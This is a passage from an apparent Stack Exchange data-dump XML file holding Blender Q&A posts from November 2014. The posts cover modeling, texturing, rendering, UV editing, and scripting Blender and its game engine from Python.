ContentLicense="CC BY-SA 3.0" />
  <row Id="18805" PostTypeId="1" CreationDate="2014-11-13T04:45:56.307" Score="1" ViewCount="166" Body="&lt;p&gt;When I go to render my object, only the cylinders at the rear show up. I have a sun in the scene to provide light, and I checked to make sure the camera next to my object wasn't selected too.  Can anyone explain why I can't see anything?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ozolm.png&quot; alt=&quot;here is the rendered view&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AaFDb.png&quot; alt=&quot;here is the view from the camera in object mode&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WpstZ.png&quot; alt=&quot;menu&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7966" LastEditorUserId="7966" LastEditDate="2014-11-13T05:13:34.057" LastActivityDate="2014-11-13T05:13:34.057" Title="Entire object not visible in render" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2014-11-14T01:48:56.710" ContentLicense="CC BY-SA 3.0" />
  <row Id="18806" PostTypeId="1" AcceptedAnswerId="18808" CreationDate="2014-11-13T08:41:58.907" Score="3" ViewCount="13761" Body="&lt;p&gt;I need to push an edge in but by doing so the connected edges will also get dragged in. To do this with faces I can just extrude inwards but with an edge it just creates a new edge disconnected from the surrounding faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the edge:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SfXvQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I duplicate the vertices on the top and bottom of the edge so I can push it in without moving the edges above or below it?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="599" LastEditDate="2014-11-13T09:13:38.860" LastActivityDate="2014-11-13T09:13:38.860" Title="How can I duplicate the vertices of an edge to move it without affecting surrounding edges?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18807" PostTypeId="1" AcceptedAnswerId="18810" CreationDate="2014-11-13T09:01:14.740" Score="0" ViewCount="1706" Body="&lt;p&gt;I have an object containing multiple models with several IK.  One model has fcurves (euler rotation only) which gives motor to linked IK models.  What I need is bake/convert all IK animations into FCurves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="7969" LastEditorUserId="2952" LastEditDate="2015-12-17T07:38:24.677" LastActivityDate="2017-06-25T05:47:09.033" Title="Baking IK into FCurves" Tags="&lt;animation&gt;&lt;bezier-curves&gt;&lt;baking&gt;&lt;inverse-kinematics&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18808" PostTypeId="2" ParentId="18806" CreationDate="2014-11-13T09:05:06.373" Score="5" Body="&lt;p&gt;I don't know if there is a one step solution, but aside from just manually doing everything I think the new &lt;em&gt;extend edge&lt;/em&gt; tool (&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;) is about the closest to a one-step as anything I can think of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bjd0P.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the selection is extended towards the initial position of the mouse when &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; is pressed, which can be confusing before you get used to it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That said, I think in your particular situation I would do something more like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BJVCg.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-11-13T09:11:38.797" LastActivityDate="2014-11-13T09:11:38.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18809" PostTypeId="1" AcceptedAnswerId="18813" CreationDate="2014-11-13T10:47:47.707" Score="2" ViewCount="1196" Body="&lt;p&gt;I am using Blender for years and LOVE IT. For my university class do I need a tool that can do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Get information (x1, x2, y1, y2, z1, z2 from every object) from a JAVA application) (works)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start blender:&lt;br&gt;&#xA;Here is my first question. When I want to import the &lt;code&gt;bpy&lt;/code&gt; (I also tried to import Blender and from Blender &lt;code&gt;import *&lt;/code&gt;, it tells me that it does not exist. What do I miss?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create objects I once made a script that can do this, no biggie, but is there a possibility to do this from a script started outside of blender?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After every object is placed and scaled etc, is there a way to tell the blender game engine to have a collision, use WASD and arrow-keys to move and mouse to look around, set the player to a special point.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start the game engine so you can move through the 100% per script created forest of objects?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Besides that, is there a way to start blender minimized / hidden, so the user is going to see the &quot;playable&quot; engine and not blender etc?&lt;/p&gt;&#xA;" OwnerUserId="7971" LastEditorUserId="2217" LastEditDate="2014-11-13T14:44:18.787" LastActivityDate="2014-11-13T14:50:00.513" Title="Blender game engine via Python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18810" PostTypeId="2" ParentId="18807" CreationDate="2014-11-13T10:50:57.457" Score="1" Body="&lt;p&gt;Try Bake Action (make sure you're in Pose Mode, it works in Object mode also) and ensure 'apply constraints' is checked. This will clear all your constraint, so if needed I would duplicate the armature and move to another layer before doing this if you need to bake more animations later on. &lt;/p&gt;&#xA;" OwnerUserId="7758" LastActivityDate="2014-11-13T10:50:57.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18811" PostTypeId="1" CreationDate="2014-11-13T10:54:34.000" Score="0" ViewCount="572" Body="&lt;p&gt;I have a problem with my blender scene when I play it on the blender game engine. When I set &lt;code&gt;GLSL shading&lt;/code&gt; and play my scene using the embedded game engine (P on scene) I have no problem and all objects are correctly rendered, but when I export my scene using the &lt;code&gt;Export -&amp;gt; Save as game engine runtime&lt;/code&gt; function, only a few objects are visible and rendered and all others are black. &#xA;I have already tried to apply visible object materials to other objects but I have the same result: invisible/black objects.&#xA;When I change shading mode to &lt;code&gt;Multitexture&lt;/code&gt; all the scene is visible, but for my purpouse I need GLSL shading.&#xA;How can I resolve this problem? Is there any problems rendering objects with multiple materials?&#xA;Note: I'm using Blender 2.60 with python 3.2 version.&lt;br&gt;&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7970" LastEditorUserId="7970" LastEditDate="2014-11-13T13:08:32.777" LastActivityDate="2014-11-13T13:08:32.777" Title="Blender 2.60: GLSL Shading problems on Blender Game Engine - objects not visible" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;game-engine&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18812" PostTypeId="2" ParentId="18802" CreationDate="2014-11-13T11:29:35.057" Score="4" Body="&lt;p&gt;Your first command adds a new property to &lt;code&gt;bpy.types.Object&lt;/code&gt; as in your altering the base class used for all objects. The next steps you are trying to remove a custom property from an individual object instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add and remove a property from all objects -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Object.thing = bpy.props.BoolProperty()&#xA;del bpy.types.Object.thing&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-11-13T11:29:35.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18813" PostTypeId="2" ParentId="18809" CreationDate="2014-11-13T14:31:04.303" Score="6" Body="&lt;p&gt;There is a way to do what you want. I am not sure if this is optimal but it worked for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Starting Blender&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can not import bpy from outside of blender (see &lt;a href=&quot;https://blender.stackexchange.com/questions/5732/getting-started-no-module-called-bpy-outside-of-blender&quot;&gt;this related question&lt;/a&gt;). You can, however, start Blender and pass it the .blend file with your game and a python script to execute. From the command line start&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;path-to-blender&amp;gt;/blender &amp;lt;path-to-blend-file&amp;gt;/my_game.blend --python &amp;lt;path-to-script&amp;gt;/my_script.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Under Windows you have to use &lt;code&gt;\&lt;/code&gt; in the paths of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also execute this command from the follwing python script, if you want to create some data first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import subprocess as sub&#xA;&#xA;&quot;&quot;&quot;&#xA;create some data here and do other stuff like calling your Java application&#xA;&quot;&quot;&quot;&#xA;...&#xA;&#xA;# execute Blender&#xA;command = r&quot;&amp;lt;path-to-blender&amp;gt;/blender -b &amp;lt;path-to-blend-file&amp;gt;/my_game.blend --python &amp;lt;path-to-script&amp;gt;/my_script.py&quot;&#xA;&#xA;p = sub.Popen(command, stdout=sub.PIPE, stderr=sub.PIPE, shell=True)&#xA;output, errors = p.communicate()&#xA;if not output == &quot;&quot; :&#xA;    print(&quot;\nOutput:\n\n&quot; + output)&#xA;if not errors == &quot;&quot; :&#xA;    print(&quot;\nErrors:\n\n&quot; + errors)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find more informationon on &lt;code&gt;subprocess&lt;/code&gt; &lt;a href=&quot;https://docs.python.org/2/library/subprocess.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Creating Objects&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would create the objects in a script passed to Blender, as I described above. You can also pass command line arguments to this script if necessary. Any command line argument passed after &lt;code&gt;--&lt;/code&gt; in the command line is treated as an argument for the script. The command line woud change to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;path-to-blender&amp;gt;/blender &amp;lt;path-to-blend-file&amp;gt;/my_game.blend --python &amp;lt;path-to-script&amp;gt;/my_script.py -- myArg1 myArg2 myArg3 ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside of Blender you can get the arguments as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;if ((&quot;--&quot; in sys.argv) == False) :&#xA;    print(&quot;No arguments passed to the script.&quot;)&#xA;    return&#xA;&#xA;argsStartPos = sys.argv.index(&quot;--&quot;)&#xA;arg1 = sys.argv[argsStartPos + 1]&#xA;arg2 = sys.argv[argsStartPos + 2]&#xA;arg3 = sys.argv[argsStartPos + 3]&#xA;...&#xA;&#xA;# process command line arguments, create trees or what ever&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After object creation: Start the game&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the easiest way to achieve what you want is to set up the collision detection and player controls in the .blend file you passed to Blender. Then you just have to start the game engine's standalone player. Just add these lines to the python script that creates your scene:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;...&#xA;# create scene and stuff&#xA;...&#xA;&#xA;bpy.context.scene.render.engine = 'BLENDER_GAME'&#xA;bpy.ops.wm.blenderplayer_start()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hiding Blender&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To hide the Blender window, start Blender in background mode. Just pass &lt;code&gt;-b&lt;/code&gt; as command line argument. The full command should then be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;path-to-blender&amp;gt;/blender -b &amp;lt;path-to-blend-file&amp;gt;/my_game.blend --python &amp;lt;path-to-script&amp;gt;/my_script.py -- myArg1 myArg2 myArg3 ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the &lt;code&gt;-b&lt;/code&gt; before the .blend file.&lt;br&gt;&#xA;The standalone player will still be started with a visible window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps :)&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-11-13T14:50:00.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18815" PostTypeId="1" CreationDate="2014-11-13T15:59:33.650" Score="3" ViewCount="748" Body="&lt;p&gt;I'm trying out the texture layers in texture paint. I've got my base texture and then a completely transparent layer which I want to paint on. I can paint on the base layer no problem, but when I switch to the alpha layer the strokes have a weird black outline around them. Anyone know what's going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4PQzk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4PQzk.png&quot; alt=&quot;texture paint problem&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7975" LastEditorUserId="2217" LastEditDate="2014-11-13T16:43:16.307" LastActivityDate="2016-01-30T19:41:43.640" Title="Weird outline around brush strokes in texture paint" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18816" PostTypeId="1" CreationDate="2014-11-13T16:45:40.850" Score="0" ViewCount="4057" Body="&lt;p&gt;I have no knowledge of Modelling but I have to do this for my game. I used texture paint to color the surface. But when I import the exported fbx into unity, none of that paint is there. All I get is the raw model. How can I paint a model for use in unity?&lt;/p&gt;&#xA;" OwnerUserId="7542" LastEditorUserId="2217" LastEditDate="2014-11-13T17:31:48.150" LastActivityDate="2015-01-12T18:31:10.793" Title="How to color an object in blender for use in Unity3d?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;export&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18817" PostTypeId="2" ParentId="18816" CreationDate="2014-11-13T17:10:20.983" Score="1" Body="&lt;p&gt;You can apply your texture image in Unity. Put the image in your Unity assets folder, then you can drag and drop the texture straight onto your model, that's how I've always done it anyway&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I think you can export the texture with the model if you load the texture onto your material slot in blender, but I always find the first way simpler&lt;/p&gt;&#xA;" OwnerUserId="7975" LastEditorUserId="7975" LastEditDate="2014-11-13T17:21:01.800" LastActivityDate="2014-11-13T17:21:01.800" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18818" PostTypeId="1" AcceptedAnswerId="18819" CreationDate="2014-11-13T17:27:01.897" Score="2" ViewCount="332" Body="&lt;p&gt;I have this .obj file in which the model is made from pictures taken from the front (in a semicircle). This results is the model not being an enclosed item, but rather more like a folded sheet of paper:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kpgeu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish to print this model out in 3D but to do that I of course need it to stand on its own, which is why I want to &quot;build&quot; a base for it. I looked it up and the way to go seems to be extrusion, but whenever I tried to extrude every single detail proportionally which results in a big mess of half-enclosed spheres, stretched out and attached to a jagged paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me what I'm doing wrong and point me in the right direction? If you need my .obj .mtl or texture .png file to look more closely, say so!&#xA;And, if there's someone with too much time to spare, would maybe that certain someone be interested in doing this for me? Any help is welcome!&lt;/p&gt;&#xA;" OwnerUserId="7976" LastEditorUserId="2617" LastEditDate="2014-11-13T20:07:16.030" LastActivityDate="2014-11-13T20:07:16.030" Title="How do I extrude out a base on this model?" Tags="&lt;modeling&gt;&lt;editing&gt;&lt;3d-printing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18819" PostTypeId="2" ParentId="18818" CreationDate="2014-11-13T18:05:02.183" Score="4" Body="&lt;p&gt;If you want the base to go straight down then extrude on the z axis, then press &lt;kbd&gt;0&lt;/kbd&gt; to make the base level &lt;kbd&gt;E&lt;/kbd&gt;,&lt;kbd&gt;Z&lt;/kbd&gt;,&lt;kbd&gt;0&lt;/kbd&gt;, then grab on z (&lt;kbd&gt;G&lt;/kbd&gt;,&lt;kbd&gt;Z&lt;/kbd&gt;) to bring the base down to the height you want it.&lt;/p&gt;&#xA;" OwnerUserId="7975" LastEditorUserId="29" LastEditDate="2014-11-13T20:01:37.320" LastActivityDate="2014-11-13T20:01:37.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18821" PostTypeId="1" AcceptedAnswerId="18840" CreationDate="2014-11-13T19:33:53.713" Score="0" ViewCount="2657" Body="&lt;p&gt;I am following &lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/UV_Map_Basics&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt;, however for some reason the mesh isn't appearing in the UV image editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the tutorial, it should look like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FZJTV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in my blender, it looks like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wfCP7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously I tried to show the UV texture coordinates by pressing U and selecting &quot;Unwrap&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried looking at this &lt;a href=&quot;https://blender.stackexchange.com/questions/7889/unwrapped-not-appearing-in-uv-editor&quot;&gt;Blender StackExchange question&lt;/a&gt;, however the answer there says &quot;only selected faces will be unwrapped&quot;, and I think I have them all unwrapped.&lt;/p&gt;&#xA;" OwnerUserId="7464" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-11-14T12:31:22.313" Title="UV unwrap doesn't show faces in UV image editor" Tags="&lt;interface&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18822" PostTypeId="1" AcceptedAnswerId="36539" CreationDate="2014-11-13T19:36:38.073" Score="0" ViewCount="280" Body="&lt;p&gt;Why in proximity or from some camera angles the other character mesh is disappearing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using GLSL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lv9wL.jpg&quot; alt=&quot;Proximity&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u3FBo.jpg&quot; alt=&quot;Picture 1&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7720" LastActivityDate="2015-08-27T14:15:12.687" Title="Why in proximity the other character mesh is disappearing?" Tags="&lt;game-engine&gt;&lt;camera&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18824" PostTypeId="1" CreationDate="2014-11-13T20:12:08.037" Score="0" ViewCount="349" Body="&lt;p&gt;When I try to extrude a face, or several faces, the faces rearrange themselves with respect to my perspective, so that strange polygonal cavities are formed and I cannot achieve the desired effect.  I think I probably toggled something by accident; can anyone point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cuesY.png&quot; alt=&quot;inverted face&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7966" LastEditorUserId="7966" LastEditDate="2014-11-13T20:48:07.910" LastActivityDate="2014-11-13T20:48:07.910" Title="Extruding Problems" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18825" PostTypeId="1" AcceptedAnswerId="18826" CreationDate="2014-11-13T20:18:49.593" Score="3" ViewCount="132" Body="&lt;p&gt;Recently I ran into an issue with the &lt;em&gt;Re-mesh&lt;/em&gt; modifier. I tried to use a particle system with a mesh with a &lt;em&gt;Re-mesh&lt;/em&gt; modifier, and the results do not render. I can get them to preview in the view-port, but they are not visible in the rendered image. &lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-11-13T20:18:49.593" Title="Is there a way to use a particle system on a mesh with a re-mesh modifier?" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18826" PostTypeId="2" ParentId="18825" CreationDate="2014-11-13T20:18:49.593" Score="5" Body="&lt;p&gt;SOLVED: I have discovered a solution to the issue. Move the particle system up the modifier stack until it is above the &lt;em&gt;Re-mesh&lt;/em&gt; modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wciql.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now particles render normally. One thing you must realize, is that particle orientation will be based off of the original mesh, not the modified mesh.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-11-13T20:18:49.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18827" PostTypeId="2" ParentId="16489" CreationDate="2014-11-13T20:44:50.713" Score="2" Body="&lt;p&gt;I struggled with the same problem. Here is my example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fyOv6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case I set up the hair settings, and then realized that the mesh isn't perfect. Then I tried to remove doubles, and change the geometry. &#xA;Every time you change geometry (actions like: deleting, separating, ripping vertices) with the hair settings set up, you may see this problem appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice is to (before setting up the hair):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Apply rotation, location and scale. &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Remove doubles. &lt;/li&gt;&#xA;&lt;li&gt;Apply mirror modifier.&lt;/li&gt;&#xA;&lt;li&gt;Recalculate normals. &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;N&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Check the mesh using &lt;em&gt;&quot;mesh lint addon&quot;&lt;/em&gt; and make sure the mesh is 'clear' (has no ngons and interior faces).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After applying all the things mentioned above my problem was solved.&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2014-11-14T14:30:24.890" LastActivityDate="2014-11-14T14:30:24.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18828" PostTypeId="1" AcceptedAnswerId="18833" CreationDate="2014-11-13T22:00:35.157" Score="8" ViewCount="9703" Body="&lt;p&gt;Two vertices snap together when &lt;em&gt;snapping during transform&lt;/em&gt; is enabled with &lt;em&gt;snap onto self&lt;/em&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mKV1r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Y6xn.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could both vertices be merged?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-11-14T06:30:36.120" LastActivityDate="2019-01-31T00:04:35.513" Title="Can snapped vertices be automatically merged?" Tags="&lt;modeling&gt;&lt;snapping&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18830" PostTypeId="1" CreationDate="2014-11-13T22:34:06.480" Score="3" ViewCount="1771" Body="&lt;p&gt;Is there a way, in Cycles render context, to have the UV/image editor's image automatically update to match the image texture selected in the material node editor? (like the 3D view does in textured view mode)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It remains fixed on the same image, regardless of the object/material/texture selected and I have to search through all the images and manually select the good one every time I have to move a couple of UVs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note : the pin button in the UV editor is deselected, but the UV editor seems to behave like it is selected.&lt;/p&gt;&#xA;" OwnerUserId="7982" LastEditorUserId="2217" LastEditDate="2014-11-13T23:36:06.383" LastActivityDate="2020-10-04T13:27:39.103" Title="Automatic update of the image in the UV/image Editor" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18831" PostTypeId="1" CreationDate="2014-11-13T23:32:53.697" Score="0" ViewCount="165" Body="&lt;p&gt;I have solved the problems of rayleigh scattering and thanks to help of members here, created a new ring with buggy tools. Now I am curious about one more thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to simulate forward scattering? Planet rings are brighter when viewed from the opposite side of the light source. I tried using the SSS shader but it does not replicate the effect. I would try using a volume shader (since anisotropy controls back versus forward scattering) but 2D textures do not influence volume density (I am using a radio occultation map of saturn's rings as the alpha texture).&lt;/p&gt;&#xA;" OwnerUserId="3254" LastEditorUserId="3254" LastEditDate="2014-11-13T23:40:04.337" LastActivityDate="2015-03-15T13:32:26.690" Title="Forward Scattering" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18832" PostTypeId="1" AcceptedAnswerId="18843" CreationDate="2014-11-14T00:55:47.480" Score="3" ViewCount="99" Body="&lt;p&gt;How can I adjust the &quot;step&quot; of a UI element, when clicking the arrows to the left or right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently it moves in 1cm steps and I'd like it to be 1mm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/asoxi.png&quot; alt=&quot;A UI Element&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7984" LastActivityDate="2014-11-14T13:42:52.287" Title="Adjusting the step of a UI element" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18833" PostTypeId="2" ParentId="18828" CreationDate="2014-11-14T01:26:14.423" Score="13" Body="&lt;p&gt;AutoMerge Editing might be what you are looking for.  It can be toggled on and off by clicking the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mvVUK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've added the image posted as a comment by username: gandalf3 since he pointed out that there is also toggle button in the header bar which makes this feature easier to access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/04LGM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-11-14T01:46:06.207" LastActivityDate="2014-11-14T01:46:06.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18834" PostTypeId="2" ParentId="18830" CreationDate="2014-11-14T01:41:28.487" Score="3" Body="&lt;p&gt;UPDATE: I've noticed that some of what I wrote here originally is unnecessary.  If the Slot mode in Texture Paint is left set to 'Material'  you can simply select a node in Cycles and quickly enter and exit Texture Paint mode to have the texture appear in the UV Image Editor.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That's an unfortunate design choice for the UV Image Editor in Cycles. It could change if people come up with some clear and well constructed reasons for changing the current system so the BF devs might feel motivated to change this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a way around the issue now that Slots have been added to Texture Paint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Incidently, to make the slots tab show on the main tab you just have to &lt;kbd&gt;shift&lt;/kbd&gt;+ click the handle to pin it so the tab is always visible)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l4Rrc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following image shows where to find the selector when default settings are used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just be sure to change the Painting Mode to Image since the default is 